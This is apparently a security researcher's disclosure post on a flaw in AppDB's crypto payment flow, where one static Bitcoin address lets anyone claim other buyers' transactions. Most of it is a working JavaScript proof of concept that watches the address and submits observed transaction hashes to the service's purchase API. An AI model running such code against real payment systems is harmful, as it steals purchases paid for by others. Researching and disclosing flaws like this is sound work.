Exploiting Vulnerability in a Crypto Deposit System

Exploiting Vulnerability in a Crypto Deposit System

Technical Analysis

The vulnerability in AppDB's payment system arose from using a single, static Bitcoin address for all transactions. This design flaw allowed for the following exploit:

  1. Monitor the static Bitcoin address for any incoming transactions.
  2. Upon detection of any transaction to this address, generate a purchase ticket using AppDB's API.
  3. Submit the ticket with the observed transaction hash, regardless of the transaction's origin.

This process effectively bypassed the payment verification, as the system only checked for the existence of a transaction, not its legitimacy or origin.

Proof of Concept

To demonstrate this vulnerability, I developed a proof of concept using JavaScript. Here's a breakdown of the key components:

1. Establishing a WebSocket Connection

First, we set up a WebSocket connection to monitor the Bitcoin network:

const WebSocket = require("ws");
const ws = new WebSocket("wss://ws.blockchain.info/inv");
ws.on("open", function open() {
  ws.send(JSON.stringify(getPayload("addr_sub")));
});

This connection allows us to receive real-time updates about transactions to the static address.

2. Handling Incoming Messages

Next, we process incoming messages to detect new transactions:

ws.on("message", function incoming(data) {
  let payload = JSON.parse(data);
  const { op, x } = payload;
  switch (op) {
    case "utx":
      console.log(payload);
      let hash = x.hash;
      getPurchaseTicket().then(function (result) {
        let res = JSON.parse(result);
        if (res.status === "success") {
          let ticket = res.ticket;
          submitForm(hash, ticket).then(function (val) {
            let data = val;
            if (data.success === true) {
              console.log("Purchase Captured");
            } else {
              console.log("Error generating purchase ticket");
            }
          });
        }
      });
      break;
  }
});

This code detects new transactions and initiates the ticket generation process.

3. Generating a Purchase Ticket

The getPurchaseTicket function interacts with AppDB's API to generate a purchase ticket:

function getPurchaseTicket() {
  return new Promise(function (resolve) {
    request(
      "https://api.dbservices.to/v1.3/?lang=en&lt=9ede0b2f7af6a4af&txid=388735961c771d7d9&action=bitcoin_purchase&mode=prepare",
      function (error, response, body) {
        let res = JSON.parse(body);
        let PurchaseTicket = res.data.purchase_ticket;
        resolve(JSON.stringify({ status: "success", ticket: PurchaseTicket }));
      },
    );
  });
}
4. Submitting the Form

Finally, we submit the generated ticket along with the observed transaction hash:

function submitForm(tx_id, purchase_ticket) {
  return new Promise(function (resolve) {
    request(
      `https://api.dbservices.to/v1.3/?lang=en&lt=9ede0b2f7af6a4af&txid=${tx_id}&purchase_ticket=${purchase_ticket}&action=bitcoin_purchase&mode=verify&txid=${tx_id}`,
      function (error, response, body) {
        resolve(JSON.parse(body));
      },
    );
  });
}

Image of successful sniping of transaction:

Exploiting Vulnerability in a Crypto Deposit System

Note: This disclosure follows responsible security research practices. The vulnerability was reported to AppDB before public disclosure, and all details are shared with their permission.


See all posts